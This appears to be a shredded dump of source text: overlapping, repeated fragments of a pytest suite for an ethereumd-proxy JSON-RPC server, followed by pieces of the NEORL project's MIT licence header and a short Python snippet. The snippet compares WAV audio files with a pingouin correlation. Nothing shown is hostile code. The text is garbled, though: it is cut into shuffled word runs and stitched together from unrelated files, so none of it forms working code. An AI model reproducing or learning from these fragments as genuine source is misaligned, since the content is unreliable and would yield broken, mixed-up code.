'id': 'test', } request = Request(json=data) response", "'2.0', 'method': 'getblockcount', 'id': 'test', } request = Request(json=data) response", "} request = Request(json=data) def _raise_error(): raise AttributeError('bla bla method", "= json.loads(response.body) assert parsed['error'] is None assert isinstance(parsed['result'], int) @pytest.mark.asyncio", "= RPCServer() with patch('ethereumd.poller.Poller.poll'): await server.before_server_start()(None, loop) return server @pytest.mark.asyncio", "Request(json=data) response = await server.handler_index(request) parsed = json.loads(response.body) assert parsed['error']", "= namedtuple('Request', ['json']) class TestServer(BaseTestRunner): run_with_node = True async def", "[], 'id': 'test', } request = Request(json=data) response = await", "parsed = json.loads(response.body) assert parsed['error'] is None assert isinstance(parsed['result'], int)", "@pytest.mark.asyncio async def test_server_handler_index_attr_error_call(self, event_loop): server = await self.init_server(event_loop) data", "== -99999999 assert parsed['error']['message'] == 'test' assert parsed['result'] is None", "'test', } request = Request(json=data) def _raise_error(): raise AttributeError('bla bla", "assert parsed['error']['code'] == -32602 assert parsed['error']['message'] == 'Invalid rpc 2.0", "assert parsed['error']['message'] == 'Method not found' assert parsed['result'] is None", "BadResponseError from .base import BaseTestRunner Request = namedtuple('Request', ['json']) class", "json.loads(response.body) assert parsed['error']['code'] == -1 assert parsed['error']['message'] == 'test' assert", "= json.loads(response.body) assert parsed['error']['code'] == -99999999 assert parsed['error']['message'] == 'test'", "from ethereumd.proxy import EthereumProxy from aioethereum.errors import BadResponseError from .base", "import namedtuple import json from asynctest.mock import patch import pytest", "from asynctest.mock import patch import pytest from ethereumd.server import RPCServer", "import patch import pytest from ethereumd.server import RPCServer from ethereumd.proxy", "await server.handler_index(request) parsed = json.loads(response.body) assert parsed['error']['code'] == -99999999 assert", "parsed['error']['code'] == -32602 assert parsed['error']['message'] == 'Invalid rpc 2.0 structure'", "parsed = json.loads(response.body) assert parsed['error']['code'] == -1 assert parsed['error']['message'] ==", "== -32602 assert parsed['error']['message'] == 'Invalid rpc 2.0 structure' assert", "BadResponseError('test', code=-99999999) with patch.object(EthereumProxy, 'getblockcount', side_effect=_raise_error): response = await server.handler_index(request)", "json.loads(response.body) assert parsed['error']['code'] == -99999999 assert parsed['error']['message'] == 'test' assert", "_raise_error(): raise TypeError('test') with patch.object(EthereumProxy, 'getblockcount', side_effect=_raise_error): response = await", "await server.handler_index(request) parsed = json.loads(response.body) assert parsed['error']['code'] == -32601 assert", "server.handler_index(request) parsed = json.loads(response.body) assert parsed['error']['code'] == -32601 assert parsed['error']['message']", "parsed['error']['code'] == -1 assert parsed['error']['message'] == 'test' assert parsed['result'] is", "= { 'jsonrpc': '2.0', 'method': 'getblockcount', 'id': 'test', } request", "import EthereumProxy from aioethereum.errors import BadResponseError from .base import BaseTestRunner", "None @pytest.mark.asyncio async def test_server_handler_index_bad_response_call(self, event_loop): server = await self.init_server(event_loop)", "from ethereumd.server import RPCServer from ethereumd.proxy import EthereumProxy from aioethereum.errors", "ethereumd.proxy import EthereumProxy from aioethereum.errors import BadResponseError from .base import", "= json.loads(response.body) assert parsed['error']['code'] == -1 assert parsed['error']['message'] == 'test'", "is None @pytest.mark.asyncio async def test_server_handler_index_attr_error_call(self, event_loop): server = await", "parsed['error']['code'] == -99999999 assert parsed['error']['message'] == 'test' assert parsed['result'] is", "async def test_server_handler_index_attr_error_call(self, event_loop): server = await self.init_server(event_loop) data =", "'params': [], 'id': 'test', } request = Request(json=data) def _raise_error():", "side_effect=_raise_error): response = await server.handler_index(request) parsed = json.loads(response.body) assert parsed['error']['code']", "@pytest.mark.asyncio async def test_server_handler_index_type_error_call(self, event_loop): server = await self.init_server(event_loop) data", "Request(json=data) response = await server.handler_index(request) parsed = json.loads(response.body) assert parsed['error']['code']", "def _raise_error(): raise AttributeError('bla bla method not found') with patch.object(EthereumProxy,", "== 'Invalid rpc 2.0 structure' assert parsed['result'] is None @pytest.mark.asyncio", "= await server.handler_index(request) parsed = json.loads(response.body) assert parsed['error']['code'] == -99999999", "is None @pytest.mark.asyncio async def test_server_handler_index_type_error_call(self, event_loop): server = await", "await server.handler_index(request) parsed = json.loads(response.body) assert parsed['error']['code'] == -32602 assert", "import json from asynctest.mock import patch import pytest from ethereumd.server", "parsed = json.loads(response.body) assert parsed['error']['code'] == -32601 assert parsed['error']['message'] ==", "BaseTestRunner Request = namedtuple('Request', ['json']) class TestServer(BaseTestRunner): run_with_node = True", "request = Request(json=data) def _raise_error(): raise TypeError('test') with patch.object(EthereumProxy, 'getblockcount',", "Request = namedtuple('Request', ['json']) class TestServer(BaseTestRunner): run_with_node = True async", "namedtuple import json from asynctest.mock import patch import pytest from", "def init_server(self, loop): server = RPCServer() with patch('ethereumd.poller.Poller.poll'): await server.before_server_start()(None,", "test_server_handler_index_success_call(self, event_loop): server = await self.init_server(event_loop) data = { 'jsonrpc':", "RPCServer from ethereumd.proxy import EthereumProxy from aioethereum.errors import BadResponseError from", "test_server_handler_index_bad_response_call(self, event_loop): server = await self.init_server(event_loop) data = { 'jsonrpc':", "with patch.object(EthereumProxy, 'getblockcount', side_effect=_raise_error): response = await server.handler_index(request) parsed =", "code=-99999999) with patch.object(EthereumProxy, 'getblockcount', side_effect=_raise_error): response = await server.handler_index(request) parsed", "raise TypeError('test') with patch.object(EthereumProxy, 'getblockcount', side_effect=_raise_error): response = await server.handler_index(request)", "= await server.handler_index(request) parsed = json.loads(response.body) assert parsed['error']['code'] == -1", "{ 'jsonrpc': '2.0', 'method': 'getblockcount', 'params': [], 'id': 'test', }", "self.init_server(event_loop) data = { 'jsonrpc': '2.0', 'method': 'getblockcount', 'params': [],", "{ 'jsonrpc': '2.0', 'method': 'getblockcount', 'id': 'test', } request =", "def _raise_error(): raise BadResponseError('test', code=-99999999) with patch.object(EthereumProxy, 'getblockcount', side_effect=_raise_error): response", "is None assert isinstance(parsed['result'], int) @pytest.mark.asyncio async def test_server_handler_index_invalid_rpc_data(self, event_loop):", "parsed['error']['message'] == 'Invalid rpc 2.0 structure' assert parsed['result'] is None", "response = await server.handler_index(request) parsed = json.loads(response.body) assert parsed['error']['code'] ==", "parsed['result'] is None @pytest.mark.asyncio async def test_server_handler_index_attr_error_call(self, event_loop): server =", "method not found') with patch.object(EthereumProxy, 'getblockcount', side_effect=_raise_error): response = await", "parsed['result'] is None @pytest.mark.asyncio async def test_server_handler_index_bad_response_call(self, event_loop): server =", "'id': 'test', } request = Request(json=data) response = await server.handler_index(request)", "def test_server_handler_index_invalid_rpc_data(self, event_loop): server = await self.init_server(event_loop) data = {", "'id': 'test', } request = Request(json=data) def _raise_error(): raise BadResponseError('test',", ".base import BaseTestRunner Request = namedtuple('Request', ['json']) class TestServer(BaseTestRunner): run_with_node", "'params': [], 'id': 'test', } request = Request(json=data) response =", "parsed['error']['code'] == -32601 assert parsed['error']['message'] == 'Method not found' assert", "server = RPCServer() with patch('ethereumd.poller.Poller.poll'): await server.before_server_start()(None, loop) return server", "None @pytest.mark.asyncio async def test_server_handler_index_attr_error_call(self, event_loop): server = await self.init_server(event_loop)", "self.init_server(event_loop) data = { 'jsonrpc': '2.0', 'method': 'getblockcount', 'id': 'test',", "await server.handler_index(request) parsed = json.loads(response.body) assert parsed['error']['code'] == -1 assert", "} request = Request(json=data) def _raise_error(): raise BadResponseError('test', code=-99999999) with", "found' assert parsed['result'] is None @pytest.mark.asyncio async def test_server_handler_index_type_error_call(self, event_loop):", "test_server_handler_index_attr_error_call(self, event_loop): server = await self.init_server(event_loop) data = { 'jsonrpc':", "parsed['result'] is None @pytest.mark.asyncio async def test_server_handler_index_type_error_call(self, event_loop): server =", "== 'test' assert parsed['result'] is None @pytest.mark.asyncio async def test_server_handler_index_bad_response_call(self,", "[], 'id': 'test', } request = Request(json=data) def _raise_error(): raise", "_raise_error(): raise BadResponseError('test', code=-99999999) with patch.object(EthereumProxy, 'getblockcount', side_effect=_raise_error): response =", "True async def init_server(self, loop): server = RPCServer() with patch('ethereumd.poller.Poller.poll'):", "json.loads(response.body) assert parsed['error'] is None assert isinstance(parsed['result'], int) @pytest.mark.asyncio async", "server.handler_index(request) parsed = json.loads(response.body) assert parsed['error']['code'] == -32602 assert parsed['error']['message']", "import BaseTestRunner Request = namedtuple('Request', ['json']) class TestServer(BaseTestRunner): run_with_node =", "-32601 assert parsed['error']['message'] == 'Method not found' assert parsed['result'] is", "TestServer(BaseTestRunner): run_with_node = True async def init_server(self, loop): server =", "assert parsed['error'] is None assert isinstance(parsed['result'], int) @pytest.mark.asyncio async def", "AttributeError('bla bla method not found') with patch.object(EthereumProxy, 'getblockcount', side_effect=_raise_error): response", "not found' assert parsed['result'] is None @pytest.mark.asyncio async def test_server_handler_index_type_error_call(self,", "= await self.init_server(event_loop) data = { 'jsonrpc': '2.0', 'method': 'getblockcount',", "def test_server_handler_index_bad_response_call(self, event_loop): server = await self.init_server(event_loop) data = {", "response = await server.handler_index(request) parsed = json.loads(response.body) assert parsed['error'] is", "json from asynctest.mock import patch import pytest from ethereumd.server import", "assert parsed['result'] is None @pytest.mark.asyncio async def test_server_handler_index_attr_error_call(self, event_loop): server", "'getblockcount', side_effect=_raise_error): response = await server.handler_index(request) parsed = json.loads(response.body) assert", "server.handler_index(request) parsed = json.loads(response.body) assert parsed['error']['code'] == -99999999 assert parsed['error']['message']", "request = Request(json=data) def _raise_error(): raise AttributeError('bla bla method not", "assert parsed['error']['code'] == -1 assert parsed['error']['message'] == 'test' assert parsed['result']", "= Request(json=data) def _raise_error(): raise TypeError('test') with patch.object(EthereumProxy, 'getblockcount', side_effect=_raise_error):", "data = { 'jsonrpc': '2.0', 'method': 'getblockcount', 'params': [], 'id':", "patch import pytest from ethereumd.server import RPCServer from ethereumd.proxy import", "data = { 'jsonrpc': '2.0', 'method': 'getblockcount', 'id': 'test', }", "parsed = json.loads(response.body) assert parsed['error']['code'] == -99999999 assert parsed['error']['message'] ==", "json.loads(response.body) assert parsed['error']['code'] == -32601 assert parsed['error']['message'] == 'Method not", "<reponame>m-bo-one/ethereumd-proxy from collections import namedtuple import json from asynctest.mock import", "'test', } request = Request(json=data) response = await server.handler_index(request) parsed", "RPCServer() with patch('ethereumd.poller.Poller.poll'): await server.before_server_start()(None, loop) return server @pytest.mark.asyncio async", "@pytest.mark.asyncio async def test_server_handler_index_invalid_rpc_data(self, event_loop): server = await self.init_server(event_loop) data", "== -32601 assert parsed['error']['message'] == 'Method not found' assert parsed['result']", "await server.before_server_start()(None, loop) return server @pytest.mark.asyncio async def test_server_handler_index_success_call(self, event_loop):", "'id': 'test', } request = Request(json=data) def _raise_error(): raise TypeError('test')", "await server.handler_index(request) parsed = json.loads(response.body) assert parsed['error'] is None assert", "namedtuple('Request', ['json']) class TestServer(BaseTestRunner): run_with_node = True async def init_server(self,", "pytest from ethereumd.server import RPCServer from ethereumd.proxy import EthereumProxy from", "test_server_handler_index_type_error_call(self, event_loop): server = await self.init_server(event_loop) data = { 'jsonrpc':", "async def test_server_handler_index_success_call(self, event_loop): server = await self.init_server(event_loop) data =", "'jsonrpc': '2.0', 'method': 'getblockcount', 'id': 'test', } request = Request(json=data)", "assert isinstance(parsed['result'], int) @pytest.mark.asyncio async def test_server_handler_index_invalid_rpc_data(self, event_loop): server =", "= await server.handler_index(request) parsed = json.loads(response.body) assert parsed['error']['code'] == -32602", "parsed = json.loads(response.body) assert parsed['error']['code'] == -32602 assert parsed['error']['message'] ==", "parsed['error']['message'] == 'test' assert parsed['result'] is None @pytest.mark.asyncio async def", "'method': 'getblockcount', 'params': [], 'id': 'test', } request = Request(json=data)", "json.loads(response.body) assert parsed['error']['code'] == -32602 assert parsed['error']['message'] == 'Invalid rpc", "'Invalid rpc 2.0 structure' assert parsed['result'] is None @pytest.mark.asyncio async", "'test', } request = Request(json=data) def _raise_error(): raise BadResponseError('test', code=-99999999)", "structure' assert parsed['result'] is None @pytest.mark.asyncio async def test_server_handler_index_attr_error_call(self, event_loop):", "def test_server_handler_index_type_error_call(self, event_loop): server = await self.init_server(event_loop) data = {", "'getblockcount', 'params': [], 'id': 'test', } request = Request(json=data) def", "with patch('ethereumd.poller.Poller.poll'): await server.before_server_start()(None, loop) return server @pytest.mark.asyncio async def", "from collections import namedtuple import json from asynctest.mock import patch", "assert parsed['result'] is None @pytest.mark.asyncio async def test_server_handler_index_type_error_call(self, event_loop): server", "= json.loads(response.body) assert parsed['error']['code'] == -32602 assert parsed['error']['message'] == 'Invalid", "'getblockcount', 'id': 'test', } request = Request(json=data) response = await", "@pytest.mark.asyncio async def test_server_handler_index_bad_response_call(self, event_loop): server = await self.init_server(event_loop) data", "import BadResponseError from .base import BaseTestRunner Request = namedtuple('Request', ['json'])", "= await server.handler_index(request) parsed = json.loads(response.body) assert parsed['error']['code'] == -32601", "int) @pytest.mark.asyncio async def test_server_handler_index_invalid_rpc_data(self, event_loop): server = await self.init_server(event_loop)", "from aioethereum.errors import BadResponseError from .base import BaseTestRunner Request =", "async def test_server_handler_index_type_error_call(self, event_loop): server = await self.init_server(event_loop) data =", "event_loop): server = await self.init_server(event_loop) data = { 'jsonrpc': '2.0',", "parsed['error']['message'] == 'Method not found' assert parsed['result'] is None @pytest.mark.asyncio", "async def init_server(self, loop): server = RPCServer() with patch('ethereumd.poller.Poller.poll'): await", "Request(json=data) def _raise_error(): raise AttributeError('bla bla method not found') with", "import pytest from ethereumd.server import RPCServer from ethereumd.proxy import EthereumProxy", "import RPCServer from ethereumd.proxy import EthereumProxy from aioethereum.errors import BadResponseError", "def test_server_handler_index_success_call(self, event_loop): server = await self.init_server(event_loop) data = {", "init_server(self, loop): server = RPCServer() with patch('ethereumd.poller.Poller.poll'): await server.before_server_start()(None, loop)", "found') with patch.object(EthereumProxy, 'getblockcount', side_effect=_raise_error): response = await server.handler_index(request) parsed", "= True async def init_server(self, loop): server = RPCServer() with", "raise BadResponseError('test', code=-99999999) with patch.object(EthereumProxy, 'getblockcount', side_effect=_raise_error): response = await", "== 'Method not found' assert parsed['result'] is None @pytest.mark.asyncio async", "None @pytest.mark.asyncio async def test_server_handler_index_type_error_call(self, event_loop): server = await self.init_server(event_loop)", "aioethereum.errors import BadResponseError from .base import BaseTestRunner Request = namedtuple('Request',", "rpc 2.0 structure' assert parsed['result'] is None @pytest.mark.asyncio async def", "test_server_handler_index_invalid_rpc_data(self, event_loop): server = await self.init_server(event_loop) data = { 'jsonrpc':", "def _raise_error(): raise TypeError('test') with patch.object(EthereumProxy, 'getblockcount', side_effect=_raise_error): response =", "server.handler_index(request) parsed = json.loads(response.body) assert parsed['error']['code'] == -1 assert parsed['error']['message']", "= json.loads(response.body) assert parsed['error']['code'] == -32601 assert parsed['error']['message'] == 'Method", "= Request(json=data) response = await server.handler_index(request) parsed = json.loads(response.body) assert", "assert parsed['error']['message'] == 'Invalid rpc 2.0 structure' assert parsed['result'] is", "== -1 assert parsed['error']['message'] == 'test' assert parsed['result'] is None", "bla method not found') with patch.object(EthereumProxy, 'getblockcount', side_effect=_raise_error): response =", "'method': 'getblockcount', 'id': 'test', } request = Request(json=data) response =", "server.handler_index(request) parsed = json.loads(response.body) assert parsed['error'] is None assert isinstance(parsed['result'],", "@pytest.mark.asyncio async def test_server_handler_index_success_call(self, event_loop): server = await self.init_server(event_loop) data", "= Request(json=data) def _raise_error(): raise AttributeError('bla bla method not found')", "= { 'jsonrpc': '2.0', 'method': 'getblockcount', 'params': [], 'id': 'test',", "assert parsed['error']['code'] == -99999999 assert parsed['error']['message'] == 'test' assert parsed['result']", "run_with_node = True async def init_server(self, loop): server = RPCServer()", "EthereumProxy from aioethereum.errors import BadResponseError from .base import BaseTestRunner Request", "def test_server_handler_index_attr_error_call(self, event_loop): server = await self.init_server(event_loop) data = {", "= Request(json=data) def _raise_error(): raise BadResponseError('test', code=-99999999) with patch.object(EthereumProxy, 'getblockcount',", "patch.object(EthereumProxy, 'getblockcount', side_effect=_raise_error): response = await server.handler_index(request) parsed = json.loads(response.body)", "parsed['error'] is None assert isinstance(parsed['result'], int) @pytest.mark.asyncio async def test_server_handler_index_invalid_rpc_data(self,", "} request = Request(json=data) response = await server.handler_index(request) parsed =", "async def test_server_handler_index_bad_response_call(self, event_loop): server = await self.init_server(event_loop) data =", "loop) return server @pytest.mark.asyncio async def test_server_handler_index_success_call(self, event_loop): server =", "server = await self.init_server(event_loop) data = { 'jsonrpc': '2.0', 'method':", "'jsonrpc': '2.0', 'method': 'getblockcount', 'params': [], 'id': 'test', } request", "'2.0', 'method': 'getblockcount', 'params': [], 'id': 'test', } request =" ]
[ "NEORL. # Copyright (c) 2021 Exelon Corporation and MIT Nuclear", "Copyright (c) 2021 Exelon Corporation and MIT Nuclear Science and", "is free software: you can redistribute it and/or modify #", "SOFTWARE OR THE USE OR OTHER DEALINGS IN THE #", "the terms of the MIT LICENSE # THE SOFTWARE IS", "LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A", "IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS", "NEORL is free software: you can redistribute it and/or modify", "THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE", "IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED,", "FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN", "A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE", "OR OTHER DEALINGS IN THE # SOFTWARE. #NEORL team thanks", "stable-baselines as we have used their own implementation of different", "their own implementation of different RL #algorathims to establish NEORL", "and Engineering # NEORL is free software: you can redistribute", "PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE #", "FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT", "TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR", "it under the terms of the MIT LICENSE # THE", "# NEORL is free software: you can redistribute it and/or", "EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE", "IN THE # SOFTWARE. #NEORL team thanks stable-baselines as we", "and/or modify # it under the terms of the MIT", "# SOFTWARE. #NEORL team thanks stable-baselines as we have used", "MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN", "Corporation and MIT Nuclear Science and Engineering # NEORL is", "of NEORL. # Copyright (c) 2021 Exelon Corporation and MIT", "redistribute it and/or modify # it under the terms of", "MIT Nuclear Science and Engineering # NEORL is free software:", "LICENSE # THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY", "<filename>neorl/rl/baselines/readme.py # This file is part of NEORL. # Copyright", "ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN", "MIT LICENSE # THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT", "BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY,", "have used their own implementation of different RL #algorathims to", "Engineering # NEORL is free software: you can redistribute it", "part of NEORL. # Copyright (c) 2021 Exelon Corporation and", "used their own implementation of different RL #algorathims to establish", "ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT", "OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT", "CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR", "PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR", "OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT,", "# This file is part of NEORL. # Copyright (c)", "OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE", "THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY", "as we have used their own implementation of different RL", "OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.", "This file is part of NEORL. # Copyright (c) 2021", "LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,", "2021 Exelon Corporation and MIT Nuclear Science and Engineering #", "WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING", "Science and Engineering # NEORL is free software: you can", "HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER #", "(c) 2021 Exelon Corporation and MIT Nuclear Science and Engineering", "# Copyright (c) 2021 Exelon Corporation and MIT Nuclear Science", "of the MIT LICENSE # THE SOFTWARE IS PROVIDED \"AS", "# it under the terms of the MIT LICENSE #", "WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN", "software: you can redistribute it and/or modify # it under", "we have used their own implementation of different RL #algorathims", "modify # it under the terms of the MIT LICENSE", "OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION", "ARISING FROM, # OUT OF OR IN CONNECTION WITH THE", "SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,", "IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,", "KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO", "THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE", "OTHER DEALINGS IN THE # SOFTWARE. #NEORL team thanks stable-baselines", "OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES", "OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH", "of different RL #algorathims to establish NEORL optimizers. We have", "OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT", "establish NEORL optimizers. We have used the files in this", "under the terms of the MIT LICENSE # THE SOFTWARE", "free software: you can redistribute it and/or modify # it", "BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS", "FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL", "and MIT Nuclear Science and Engineering # NEORL is free", "OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR", "# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR", "is part of NEORL. # Copyright (c) 2021 Exelon Corporation", "THE # SOFTWARE. #NEORL team thanks stable-baselines as we have", "own implementation of different RL #algorathims to establish NEORL optimizers.", "ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED", "CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS", "IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER", "# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR", "CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION", "We have used the files in this open-source repo: #https://github.com/hill-a/stable-baselines", "RL #algorathims to establish NEORL optimizers. We have used the", "can redistribute it and/or modify # it under the terms", "COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER", "INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, #", "team thanks stable-baselines as we have used their own implementation", "DEALINGS IN THE # SOFTWARE. #NEORL team thanks stable-baselines as", "# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF", "Nuclear Science and Engineering # NEORL is free software: you", "AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR", "file is part of NEORL. # Copyright (c) 2021 Exelon", "IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,", "NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT", "#NEORL team thanks stable-baselines as we have used their own", "# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF", "#algorathims to establish NEORL optimizers. We have used the files", "SOFTWARE. #NEORL team thanks stable-baselines as we have used their", "\"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR #", "it and/or modify # it under the terms of the", "NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR", "different RL #algorathims to establish NEORL optimizers. We have used", "terms of the MIT LICENSE # THE SOFTWARE IS PROVIDED", "to establish NEORL optimizers. We have used the files in", "THE USE OR OTHER DEALINGS IN THE # SOFTWARE. #NEORL", "TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN", "THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY", "LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER", "OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE.", "you can redistribute it and/or modify # it under the", "SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR", "OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF", "OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR", "OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE", "NEORL optimizers. We have used the files in this open-source", "AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, #", "USE OR OTHER DEALINGS IN THE # SOFTWARE. #NEORL team", "EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE", "DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF", "thanks stable-baselines as we have used their own implementation of", "# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO", "# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,", "PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS", "implementation of different RL #algorathims to establish NEORL optimizers. We", "Exelon Corporation and MIT Nuclear Science and Engineering # NEORL", "IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS", "WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT", "FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE", "NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE", "AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES", "the MIT LICENSE # THE SOFTWARE IS PROVIDED \"AS IS\",", "optimizers. We have used the files in this open-source repo:", "WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING", "WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND" ]
[ "pandas as pd _,data = wavfile.read('wav//ed//mp3baked.wav') _,data1 = wavfile.read('wav//ing//ingeating.wav') i=", "if data[i,0] !=0 and index_1==-1: index_1 = i pass if", "# data = data[:,:] # data1 = data1[:,:] # data", "data1[j,0] !=0 and index_2==-1: index_2 = j pass if index_1!=-1", "data[:,:] # data1 = data1[:,:] # data = data.reshape(data.shape[0],1) #", "# print(data.tostring()) # print(data1.tostring()) # data = data[:,:] # data1", "# df = pd.DataFrame(data,data1) # print(df.head()) # print(data1.shape) # data", "numpy as np import pingouin as pg import pandas as", "i= data.shape[0]-1 j = data1.shape[0]-1 index_1 = -1 index_2 =", "data1.shape[0]-1 index_1 = -1 index_2 = -1 try: data.shape[1] except", "data.reshape(data.shape[0],1) # data1 = data1.reshape(data1.shape[0],1) # data = data[-10000:,:] #", "data1[-2000:,:] x =pg.corr(x=data[:,0],y=data1[:,0]) print(x) # print(data.tostring()) # print(data1.tostring()) # data", "df = pd.DataFrame(data,data1) # print(df.head()) # print(data1.shape) # data =", "data1[-10000:,:] # print(data1.shape[1]) # df = pd.DataFrame(data,data1) # print(df.head()) #", "import numpy as np import pingouin as pg import pandas", "wavfile import numpy as np import pingouin as pg import", "_,data = wavfile.read('wav//ed//mp3baked.wav') _,data1 = wavfile.read('wav//ing//ingeating.wav') i= data.shape[0]-1 j =", "= data.reshape(data.shape[0],1) # data1 = data1.reshape(data1.shape[0],1) # data = data[-10000:,:]", "data1 = data1[-5000:,:] # # # x =pg.corr(x=data[:,0],y=data1[:,0]) # print(x)", "= data[-5000:,:] # data1 = data1[-5000:,:] # # # x", "= data[-2000:,:] data1= data1[-2000:,:] x =pg.corr(x=data[:,0],y=data1[:,0]) print(x) # print(data.tostring()) #", "IndexError: data1 = data1.reshape(data1.shape[0],1) while True: if data[i,0] !=0 and", "index_2==-1: index_2 = j pass if index_1!=-1 and index_2!=-1: break", "and index_2!=-1: break i-=1 j-=1 data = data[-index_1:,:] data1 =", "try: data1.shape[1] except IndexError: data1 = data1.reshape(data1.shape[0],1) while True: if", "j pass if index_1!=-1 and index_2!=-1: break i-=1 j-=1 data", "# data1 = data1[-5000:,:] # # # x =pg.corr(x=data[:,0],y=data1[:,0]) #", "if data1[j,0] !=0 and index_2==-1: index_2 = j pass if", "import pandas as pd _,data = wavfile.read('wav//ed//mp3baked.wav') _,data1 = wavfile.read('wav//ing//ingeating.wav')", "pd _,data = wavfile.read('wav//ed//mp3baked.wav') _,data1 = wavfile.read('wav//ing//ingeating.wav') i= data.shape[0]-1 j", "if index_1!=-1 and index_2!=-1: break i-=1 j-=1 data = data[-index_1:,:]", "as pd _,data = wavfile.read('wav//ed//mp3baked.wav') _,data1 = wavfile.read('wav//ing//ingeating.wav') i= data.shape[0]-1", "print(data1.shape) # data = data[-5000:,:] # data1 = data1[-5000:,:] #", "data.shape[0]-1 j = data1.shape[0]-1 index_1 = -1 index_2 = -1", "# print(data1.tostring()) # data = data[:,:] # data1 = data1[:,:]", "data1[:,:] # data = data.reshape(data.shape[0],1) # data1 = data1.reshape(data1.shape[0],1) #", "data1.reshape(data1.shape[0],1) # data = data[-10000:,:] # data1 = data1[-10000:,:] #", "data[-index_1:,:] data1 = data1[-index_2:,:] data = data[-2000:,:] data1= data1[-2000:,:] x", "= wavfile.read('wav//ing//ingeating.wav') i= data.shape[0]-1 j = data1.shape[0]-1 index_1 = -1", "= data1[-index_2:,:] data = data[-2000:,:] data1= data1[-2000:,:] x =pg.corr(x=data[:,0],y=data1[:,0]) print(x)", "i-=1 j-=1 data = data[-index_1:,:] data1 = data1[-index_2:,:] data =", "np import pingouin as pg import pandas as pd _,data", "as pg import pandas as pd _,data = 